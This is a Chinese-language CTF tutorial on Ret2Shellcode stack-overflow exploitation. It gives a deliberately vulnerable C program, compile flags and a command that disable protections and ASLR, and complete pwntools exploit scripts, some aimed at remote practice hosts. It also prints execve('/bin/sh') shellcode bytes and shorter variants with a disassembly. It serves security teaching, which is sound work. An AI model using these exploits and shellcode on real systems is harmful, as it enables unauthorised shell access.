学了 Ret2Text 之后,大家肯定会冒出这样一个问题:如果程序里没有预留后门函数,那该怎么办?这就是 Ret2Shellcode 发挥作用的时候。
Ret2Text 的核心是直接调用 text 段中已有的函数,而 Ret2Shellcode 的思路则是自己动手构造一个函数。当程序存在缓冲区溢出漏洞,并且栈空间可执行(未开启 NX 保护)时,我们就能把自定义的 shellcode(机器码指令)写进程序栈,再利用溢出覆盖函数返回地址,让执行流跳转到栈上的 shellcode,最终弹出系统 shell。
操作流程
- 利用缓冲区溢出,填充垃圾数据覆盖栈缓冲区;
- 精准覆盖函数返回地址,将其改为栈上 shellcode 的起始地址;
- 函数执行结束执行
ret 指令时,跳转至栈上 shellcode;
- shellcode 被执行,获取系统 shell。
利用条件
- 存在栈缓冲区溢出漏洞;
- 未开启 NX 保护(栈可执行);
- 可以泄露或精准计算出栈地址。
本地实操
1. 存在漏洞的 C 代码
#include <stdio.h>
#include <unistd.h>
void vuln()
{
char buf[64];
printf("buf = %p\n", buf);
read(0, buf, 200);
}
int main()
{
vuln();
return 0;
}
2. 编译
gcc -fno-stack-protector -z execstack -no-pie -o pwnme test.c
3. 确认漏洞存在
程序写入的数据量超过了预分配的缓冲区大小,栈溢出漏洞自然就成立了。反汇编里栈上分配了 0x40 字节空间,但 read 最多能读入 0xc8 字节,溢出是毫无疑问的。

只要覆盖满 0x40+8 就能到达 ret 的位置。下面这张栈帧示意图展示了具体的布局关系。

由于这里没有可以直接利用的函数,所以我们需要自己创造一个函数出来。我们要创造的目标函数是:
execve("/bin/sh", NULL, NULL)
在 amd64 环境下,它对应的机器码是:
原始字节串:
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
16进制字符串:
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
这里 pwntools 提供了一个快速生成 shellcode 的模块。用下面的方法可以直接生成,当然你也可以直接把上面的机器码复制过去用。
shellcraft.sh()
现在根据目标环境把 shellcode 转成汇编字节:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
sc = asm(shellcraft.sh())
4. 开始利用
第一步:覆盖到 0x40+8 的位置
payload = 'A'*(0x40+8)
ret 位置就是跳转地址。之前我们习惯在这里写跳转地址,但这次需要写 shellcode 的地址,也就是把 shellcode 放到返回地址之后的多余空间里。
要写这个地址,就得先知道内存地址。源码里已经打印了 buf 地址。本地练习时可以关闭 ASLR 地址随机化,让栈地址保持固定,方便漏洞复现。
# 临时关闭(重启失效)
echo 0 > /proc/sys/kernel/randomize_va_space
# 永久关闭(可选)
sudo vim /proc/sys/kernel/randomize_va_space
# 修改值为 0
第二步:确认栈地址
运行程序直接就能拿到地址:
./pwnme
buf = 0x7fffffffe300
初始 buf 地址是 0x7fffffffe300,经过 0x40+8 的偏移之后,还要再算上 ret 本身占的 8 字节偏移,最终地址就是 0x40+16。
buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = 0x7fffffffe300+0x40+8+8
payload += ret
第三步:写入 Shellcode
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
sc = asm(shellcraft.sh())
buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = p64(buf+0x40+8+8)
payload += ret
payload +=sc
第四步:组装最终 PoC
from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')
sc = asm(shellcraft.sh())
buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = p64(buf+0x40+8+8)
payload += ret
payload +=sc
p.send(payload)
p.interactive()
运行之后成功拿到 shell 权限。

到这里,最简单最基础的 Ret2Shellcode 流程就完成了。
远程利用
远程地址: http://hbc.haobachang.com/see_bug_one?id=1410
前面我们关闭了 ASLR,所以地址固定,exp 可以直接硬编码。但远程主机普遍默认开启 ASLR,每次运行地址都会变化,这就要求我们动态提取地址。
先 nc 连一下,多执行几次就能看到每次 buf 都不一样。


这时就需要动态提取栈地址了。
recvuntil(delim)
持续接收数据,直到读到指定的分隔字节串 delim,然后停止接收;返回所有收到的数据,包含 delim 本身。
recvline
持续接收数据,直到读到换行符 \n 就停止,返回包含末尾 \n 的这一行字节数据。
根据这个思路写好 Python 脚本,运行:
from pwn import *
context.log_level = 'info'
io = remote('hbc2.haobachang.com', 17159)
io.recvuntil(b'[LEAK] buf = ')
buf_addr = int(io.recvline().strip(), 16)
buf_addr = hex(buf_addr)
log.success(f'{buf_addr}')
这样 buf_addr 就能动态提取出来了。

接下来分析程序,先在反汇编里确认漏洞:栈上开辟了 0x50 空间,read 却可以读取 0xc8 字节,栈溢出是确定无疑的。

然后套用之前的方法写 PoC。这次加了详细注释,可以逐行对照:
from pwn import *
# 设置程序架构、系统等上下文信息,方便asm编译shellcode和p64打包地址
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64' # 64位程序
context.os = 'linux' # linux系统
context.log_level = 'info' # 日志等级,会打印成功、错误等信息
# 连接远程pwn靶机
io = remote('hbc2.haobachang.com', 10394)
# 接收直到字符串 [LEAK] buf = ,后面就是泄露出来的buf栈地址
io.recvuntil(b'[LEAK] buf = ')
# 读取一行地址,转成16进制整数,用于后续地址计算
buf_addr = int(io.recvline().strip(), 16)
# 打印泄露的buf地址(hex格式化输出,方便查看)
log.success(f'buf_addr = {hex(buf_addr)}')
# 生成linux amd64下的execve("/bin/sh",0,0) shellcode
sc = asm(shellcraft.sh())
# 填充垃圾数据:0x50是缓冲区大小,+8是rbp的8字节,合计覆盖到返回地址
payload = b'A'*(0x50+8)
# 构造跳转地址:覆盖返回地址,让ret执行时跳转到我们shellcode起始位置
# buf基地址 + 0x50+8(垃圾+rbp) +8(返回地址本身8字节) → shellcode起始处
ret_addr = p64(buf_addr + 0x50 + 8 + 8)
payload += ret_addr
# 在跳转地址后面拼接shellcode
payload += sc
# 发送构造好的溢出payload
io.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
io.interactive()
执行之后成功拿到 flag。

无法在尾巴写入 ShellCode 怎么办
如果遇到后面的缓冲区空间不够用的情况该怎么办?举个例子。
#include <stdio.h>
#include <unistd.h>
void vuln()
{
char buf[80];
printf("buf = %p\n", buf);
read(0, buf, 96);
}
int main()
{
vuln();
return 0;
}
这里偏移是 0x50,要改写 ret 至少需要 16 字节,而 shellcode 本身也要占用空间。64+16=80,已经占满了,再往后写空间就不够了。聪明的你肯定想到了:那就把 shellcode 写在前面,然后跳转过去,这样空间就够了。
现在来写 PoC。先从头写 shellcode:
from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')
p.recvuntil(b'buf = ')
buf_addr = int(p.recvline().strip(), 16)
sc = asm(shellcraft.sh())
payload = sc
然后算出偏移:
payload = sc
payload += b'A'*(0x50+8-len(sc))
payload += p64(buf)
最终脚本就是:
from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')
p.recvuntil(b'buf = ')
buf_addr = int(p.recvline().strip(), 16)
sc = asm(shellcraft.sh())
payload = sc
payload += b'A'*(0x50+8-len(sc))
payload += p64(buf_addr)
# 发送构造好的溢出payload
p.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
p.interactive()
执行一下。

有一道远程的题目可以练习: http://hbc.haobachang.com/see_bug_one?id=1411
shellcraft.sh() 浅析
出于学习目的,来看看 shellcraft.sh() 到底做了什么。之前说过,shellcraft.sh() 生成的函数原型是 execve("/bin/sh", NULL, NULL)。那为什么不用 system 呢?
1. 对比分析
system() 会调用 fork() 创建一个子进程,在子进程中执行 shell,同时父进程(原程序)会阻塞等待,直到子进程结束。执行完后,控制权会返回给父进程,程序继续往下运行。
execve() 不创建新进程。它会直接用 /bin/sh 的代码和数据覆盖当前进程的映像。一旦调用成功,当前进程的后续代码(包括 main 函数的剩余部分)永远不会执行,也就是说此刻你就是 /bin/sh。
并且 execve() 的系统调用号是固定的,不需要额外寻找地址;system 则需要找绝对地址。通过 execve() 构建的机器码具备复用性,所以在 pwn 场景下更常用 execve()。
现在来看一下 shellcraft.sh() 对应的汇编,首先用 echo 配合 ndisasm 查看反汇编,整个长度为 49 字节。
echo -ne "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05" | ndisasm -b 64 -
0: 6a 68 push 0x68
2: 48 b8 2f 62 69 6e 2f mov rax, 0x732f2f2f6e69622f ; "/bin///s"
2f 2f 73
c: 50 push rax
d: 48 89 e7 mov rdi, rsp ; rdi=栈上字符串地址
10: 68 72 69 01 01 push 0x01016972 ; 压入"ri"+两个0x01
15: 81 34 24 01 01 01 01 xor dword [rsp], 0x01010101 ; 将"ri\x01\x01"变成"sh\x00\x00"
1c: 31 f6 xor esi, esi ; argv=NULL
1e: 56 push rsi
1f: 6a 08 push 0x8
21: 5e pop rsi ; rsi=8
22: 48 01 e6 add rsi, rsp ; rsi=栈上"/bin/sh"地址+8
25: 56 push rsi ; 压入argv[0]指针
26: 48 89 e6 mov rsi, rsp ; rsi=&argv[0]
29: 31 d2 xor edx, edx ; envp=NULL
2b: 6a 3b push 0x3b
2d: 58 pop rax ; rax=59(execve系统调用号)
2e: 0f 05 syscall ; 触发系统调用
网上还有一些其他长度的 shellcode 变体。
2. 24 字节 shellcode
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
shellcode = asm('''
push 0x3b
pop rax
cdq
push rdx
mov rbx, 0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
push rdi
push rsp
pop rsi # rsi = argv 数组地址 (指向 [字符串地址, 0])
syscall
''')
3. 22 字节 shellcode
sc = asm("""
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
""")
之后可以专门写一篇深度分析,展开讲讲这些变体的原理。
有大小限制的栈溢出
看了上面的字节限制,聪明的你肯定想到,考题里必然会出现限制存储空间的场景。这不,它来了。
题目地址: http://hbc.haobachang.com/see_bug_one?id=1412
这里只给分配了 0x20 大小的空间,shellcraft.sh() 生成的 49 字节 shellcode 明显放不下,改用 22 字节版本即可。大家可以自行分析。
from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = remote('hbc2.haobachang.com', 13553)
p.recvuntil(b'[LEAK] buf = ')
buf_addr = int(p.recvline().strip(), 16)
print(buf_addr)
#sc = asm(shellcraft.sh())
sc = asm("""
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
""")
payload = sc
payload += b'A'*(0x20+8-len(sc))
payload += p64(buf_addr)
print(payload)
# 发送构造好的溢出payload
p.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
p.interactive()
总结
这一节主要带大家过了一遍 ret2shellcode 的利用思路:本地复现、远程动态提取地址、shellcode 的前置与后置写入,以及面对空间限制时的变通方法。更多 pwn 实战题解与解题思路,欢迎来 云栈社区 一起交流。